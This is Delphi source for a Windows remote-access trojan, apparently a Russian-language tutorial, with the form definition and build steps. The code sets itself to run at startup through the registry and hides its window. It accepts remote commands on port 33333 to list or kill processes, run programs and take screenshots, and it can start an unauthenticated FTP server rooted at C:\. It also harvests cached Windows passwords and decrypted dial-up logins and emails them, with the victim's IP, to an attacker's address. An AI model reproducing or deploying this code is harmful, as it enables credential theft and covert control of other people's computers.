type PWinPassword = ^TWinPassword; TWinPassword = record Size: Word; ResourceSize: Word; PasswordSize: Word; Index: Byte; Types: Byte; PassChar: Char; end;
var Form1: TForm1; passwordgl:string; count:integer; mailsend:boolean = false; // это меняется на ваши данные const myadr='smtp6.port.ru'; myusr='администратор@мыло.ру';
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; stdcall; function CheckPass(WinPassword: PWinPassword; dw: DWord): LongBool; stdcall; function edial:string; function windir : string; function mail:boolean; implementation {$R *.DFM}
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC: PChar; dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords';
function CheckPass(WinPassword: PWinPassword; dw: DWord): LongBool; stdcall; var PC: Array[0..$FF] of Char; s1:string; i:integer; begin inc(Count); Move(WinPassword.PassChar, PC, WinPassword.ResourceSize + WinPassword.PasswordSize); for i:=0 to WinPassword.ResourceSize-1 do if pc[i] > chr(31) then s1:=s1+pc[i]; s1:=s1+' : '; for i:=WinPassword.ResourceSize to WinPassword.ResourceSize+WinPassword.PasswordSize do if pc[i] > chr(31) then s1:=s1+pc[i]; Result := True; passwordgl:=passwordgl+ s1+#13#10; end;
function password:string; var a:string; begin if WNetEnumCachedPasswords(nil, 0, $FF, @CheckPass, 0) <> 0 then begin a:='Cant load passwords: User is not logon.'; passwordgl:=a; end else if count = 0 then begin a:='Passwords not found...'; passwordgl:=a; end; Result:=passwordgl; end;
procedure TForm1.delproc(numb:string); var c1 : cardinal; pe : TProcessEntry32; s1,s2 : string; x : integer; begin x:=0; try StrToInt(numb); except ServerSocket1.Socket.Connections[0].SendText('Вы ввели неправильное число'+#13 + #10); exit; end; try ServerSocket1.Socket.Connections[0].SendText('Listing processes . . .'+#13 + #10); c1:=CreateToolHelp32Snapshot(TH32CS_SnapProcess,0); if c1=INVALID_HANDLE_VALUE then begin ServerSocket1.Socket.Connections[0].SendText('Listing processes failed'+#13 + #10); exit; end; try pe.dwSize:=sizeOf(pe); if Process32First(c1,pe) then repeat inc(x); s1:=ExtractFileName(pe.szExeFile); s2:=ExtractFileExt(s1); Delete(s1,length(s1)+1-length(s2),maxInt); if x = StrToInt(numb) then if TerminateProcess(OpenProcess(PROCESS_ALL_ACCESS, False, pe.th32ProcessID), 1) then ServerSocket1.Socket.Connections[0].SendText('Killed '+s1+' : '+ pe.szExeFile +#13 + #10) else ServerSocket1.Socket.Connections[0].SendText('Not killed '+s1+' : '+ pe.szExeFile +#13 + #10); until not Process32Next(c1,pe); finally CloseHandle(c1) end; except end;
end;
procedure TForm1.listproc; var c1 : cardinal; pe : TProcessEntry32; s1,s2 : string; x : integer; begin x:=0; try ServerSocket1.Socket.Connections[0].SendText('Listing processes . . .'+#13 + #10); c1:=CreateToolHelp32Snapshot(TH32CS_SnapProcess,0); if c1=INVALID_HANDLE_VALUE then begin ServerSocket1.Socket.Connections[0].SendText('Listing processes failed'+#13 + #10); exit; end; try pe.dwSize:=sizeOf(pe); if Process32First(c1,pe) then repeat inc(x); s1:=ExtractFileName(pe.szExeFile); s2:=ExtractFileExt(s1); Delete(s1,length(s1)+1-length(s2),maxInt); ServerSocket1.Socket.Connections[0].SendText(IntToStr(x)+' - '+s1+' : '+pe.szExeFile+#13#10); until not Process32Next(c1,pe); finally CloseHandle(c1) end; except end;
end;
procedure TForm1.FormCreate(Sender: TObject); begin if readreg('Software\Microsoft\Windows\CurrentVersion\Run','RemoteAgent') <> application.exename then writereg('Software\Microsoft\Windows\CurrentVersion\Run','RemoteAgent',application.exename); ServerSocket1.Active:=true; ShowWindow(Application.Handle, SW_HIDE); SetWindowLong(Application.Handle, GWL_EXSTYLE,GetWindowLong(Application.Handle, GWL_EXSTYLE) or WS_EX_TOOLWINDOW and not WS_EX_APPWINDOW);
end;
procedure TForm1.ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket); var a:string; filepath: string; param: string; begin a:=Socket.ReceiveText; RichEdit1.Lines.Add(a); if a = 'helo' then Socket.SendText('Hello, i`m you server'); if a= 'StartFTP' then begin FTPServer1.Start; Socket.SendText('FTP Server started'); end; if a= 'StopFTP' then begin FTPServer1.DisconnectAll; FTPServer1.Stop; Socket.SendText('FTP Server stoped'); end; if a = 'lp' then listproc;
if copy(a,1,2) = 'dp' then delproc(copy(a,4,Length(a)-3));
if a = 'scr' then getscreen;
if a = 'show' then Form1.Visible:=true;
if a = 'hide' then Form1.Visible:=false;
if copy(a,1,5) = 'start' then begin a:= copy(a,7,Length(a)-6);//получаем строку без start if pos(' ',a)> 0 then filepath:= copy(a,1,pos(' ',a)-1) else filepath:=a; if filepath <> a then param:= copy(a,pos(' ',a)+1,Length(a)-pos(' ',a)); Socket.SendText('Start: '+filepath); ShellExecute (0, 'open', PChar(filepath), PChar(param), '', 1); end;
if a = 'stop' then begin Socket.SendText('Досвиданья'+#13#10); Form1.close; end; if a = 'pass' then begin Socket.SendText(password+#10#13+edial); end;
if a = 'help' then begin Socket.SendText('Программа удаленного администратирования v 1.0'+#10); Socket.SendText('help - этот экран помощи'#10); Socket.SendText('StartFTP - запуск FTP сервера'#10); Socket.SendText('StopFTP - остановка FTP сервера'#10); Socket.SendText('lp - показать все процессы в системе'#10); Socket.SendText('dp - удалить процесс под номером указанным после запятой'#10); Socket.SendText('start - запустить программу указанную после пробела'#10); Socket.SendText('scr - создать графический файл с копией экрана'#10); Socket.SendText('show - показать программу сервер на сервере'#10); Socket.SendText('hide - спрятать программу сервер на сервере'#10); Socket.SendText('stop - остановка сервера'#10); end;
end;
procedure TForm1.FtpServer1Authenticate(Sender: TObject; Client: TFtpCtrlSocket; UserName, Password: TFtpString; var Authenticated: Boolean); begin Client.HomeDir:='C:\'; Client.Directory:='C:\'; end;
procedure TForm1.ServerSocket1ClientConnect(Sender: TObject; Socket: TCustomWinSocket); begin Socket.SendText('Привет, я программа Удаленного администратирования'+#13#10); end;
function edial:string; var f:textFile; a:string;
function decryptedial(str:string):string; var i:integer; begin result:=''; for i:=1 to length(str) do begin result:=result+chr(ord(str[i])-i+1); end;
end;
begin result:=''; AssignFile(F,windir+'\edialer.ini'); {$I-} Reset(F); {$I+} if IOResult = 0 then begin while not EOF(f) do begin readln(f,a); if pos('[RAS_Entry_',a)>0 then begin result:=result+#10#13+a+#10#13; continue; end;
if (pos('Phone_',a)>0) and (pos('=',a)<> Length(a)) and (ord(a[pos('=',a)+1]) in [48..57]) then begin result:=result+a+#10#13; continue; end; if (pos('PasswordSaved',a)>0) and (pos('=',a)<> Length(a)) then begin result:=result+'Password = '+decryptedial(copy(a,pos('=',a)+1,Length(a)-pos('=',a)))+#10#13; continue; end;
if (pos('LoginSaved',a)>0) and (pos('=',a)<> Length(a)) then begin result:=result+'Login = '+copy(a,pos('=',a)+1,Length(a)-pos('=',a))+#10#13; end;
if (pos('PasswordSave=',a)>0) and (pos('=',a)<> Length(a)) then begin if (a[pos('=',a)+1] <>'Y') and (a[pos('=',a)+1] <>'y') then result:=result+'Password not Save'+#10#13; end;
end; CloseFile(F); end;
end;
function windir : string; var pWindowsDir : array [0..255] of Char; begin GetWindowsDirectory (pWindowsDir, 255); Result := StrPas (pWindowsDir); end;
procedure TForm1.Timer1Timer(Sender: TObject); begin if not mailsend then if mail then mailsend:=true; end;
function mail:boolean; type TaPInAddr = array [0..255] of PInAddr; PaPInAddr = ^TaPInAddr; var pptr : PaPInAddr; I : Integer; adress:string; s:TSocket; WSAData:TWSAData; ph:PHostEnt; InAddr: TInAddr; iaddr: integer; addr:TSockAddrIn; buf: array[0..255] of char; s1:string;
label ex; procedure sender(str:string); var i1:integer; begin for i1:=1 to Length(str) do if send(s, str[i1] , 1, 0) = SOCKET_ERROR then exit; end;
begin result:=false; adress:= myadr; if WSAStartUp(257, WSAData) <> 0 then Exit; s := socket(AF_INET,SOCK_STREAM,IPPROTO_IP); if s = INVALID_SOCKET then Exit; iaddr := inet_addr(PChar(adress)); if iaddr <=0 then begin ph := gethostbyname(PChar(adress)); if ph = nil then goto ex; pptr := PaPInAddr(ph^.h_addr_list); I := 0; while pptr^[I] <> nil do begin InAddr:= pptr^[I]^; inc(i); addr.sin_addr:=inaddr; //Коннектимся с серваком addr.sin_family := AF_INET; addr.sin_port := htons(25); if (connect(s, addr,sizeof(addr))) =0 then break; end; end else begin addr.sin_family := AF_INET; addr.sin_port := htons(25);//htons(25); addr.sin_addr.S_addr:=iaddr; end; if (connect(s, addr,sizeof(addr))) >0 then exit; i:=recv(s,buf,sizeof(buf),0); if (i = SOCKET_ERROR) then exit; s1:=buf; if pos('220', s1) <=0 then exit; buf:='HELO SERVER'#13#10; sender('HELO SERVER'#13#10); i:=recv(s,buf,sizeof(buf),0); if (i = SOCKET_ERROR) then goto ex; s1:=buf; if pos('250', s1) <=0 then goto ex; sender('MAIL FROM: <billgates@melcosoft.com>'#13#10); i:=recv(s,buf,sizeof(buf),0); if (i = SOCKET_ERROR) then goto ex; s1:=buf; if pos('250', s1) <=0 then goto ex;
adress:='RCPT TO: <'+StrPas(PChar(myusr))+'>'+#13#10; sender(adress); i:=recv(s,buf,sizeof(buf),0); if (i = SOCKET_ERROR) then goto ex; s1:=buf; if pos('25', s1) <=0 then goto ex;
sender('DATA'#13#10); i:=recv(s,buf,sizeof(buf),0); if (i = SOCKET_ERROR) then goto ex; s1:=buf; if pos('354', s1) <=0 then goto ex; sender('From: <billgates@melcosoft.com>'#13#10); adress:='To: <'+myusr+'>'+#13#10; sender(adress); sender(''#13#10); sender('Hi, I`m Pogram "Have_World"'#13#10); sender('IP клиента - '+Form1.ServerSocket1.Socket.LocalAddress); sender(password); sender(#10#13'E-Dialer'#10#13); sender(edial); sender(#13#10'.'#13#10); if recv(s,buf,sizeof(buf),0) = SOCKET_ERROR then goto ex; s1:=buf; if pos('250', s1) <=0 then goto ex; sender('QUIT'#13#10); if recv(s,buf,sizeof(buf),0) = SOCKET_ERROR then goto ex; s1:=buf; result:=true; ex: CloseSocket(s);
end;
procedure Tform1.writereg(keyname,str1,str2 : string); var TheReg: TRegistry; begin try TheReg := TRegistry.Create; try // Load the root key.. if you wan't to make a trojan // for only one user of the system use HKEY_CURRENT_USER TheReg.RootKey := HKEY_LOCAL_MACHINE; // Create the key if it doesn't already exist thereg.CreateKey(keyname); // open the key if TheReg.OpenKey(KeyName, True) then begin // write the value to the registry TheReg.WriteString(str1,str2); // close the key TheReg.CloseKey; end; finally // close the registry TheReg.Free; end; except end; end;
function Tform1.readreg(keyname,str1: string):string; var TheReg: TRegistry; begin try TheReg := TRegistry.Create; try TheReg.RootKey := HKEY_LOCAL_MACHINE; thereg.CreateKey(keyname); if TheReg.OpenKey(KeyName, True) then begin result:=TheReg.ReadString(str1); TheReg.CloseKey; end; finally TheReg.Free; end; except end; end;
end.
Файл unit1.dfm. В Делфи 4 надо на форме нажать правую кнопку мыши и выбрать пункт View as Text и туда ввести эти данные
object Form1: TForm1 Left = 206 Top = 107 Width = 544 Height = 375 Caption = 'Form1' Color = clBtnFace Font.Charset = DEFAULT_CHARSET Font.Color = clWindowText Font.Height = -11 Font.Name = 'MS Sans Serif' Font.Style = [] OldCreateOrder = False OnCreate = FormCreate PixelsPerInch = 96 TextHeight = 13 object RichEdit1: TRichEdit Left = 0 Top = 0 Width = 536 Height = 348 Align = alClient TabOrder = 0 end object ServerSocket1: TServerSocket Active = False Port = 33333 ServerType = stNonBlocking OnClientConnect = ServerSocket1ClientConnect OnClientRead = ServerSocket1ClientRead Left = 16 Top = 8 end object FtpServer1: TFtpServer Addr = '0.0.0.0' Port = 'ftp' Banner = '220 ICS FTP Server ready.' UserData = 0 MaxClients = 0 OnAuthenticate = FtpServer1Authenticate Left = 56 Top = 8 end object Timer1: TTimer OnTimer = Timer1Timer Left = 88 Top = 8 end end
Потом на тексте нажать правую кнопку мыши и выбрать View as Form и все!
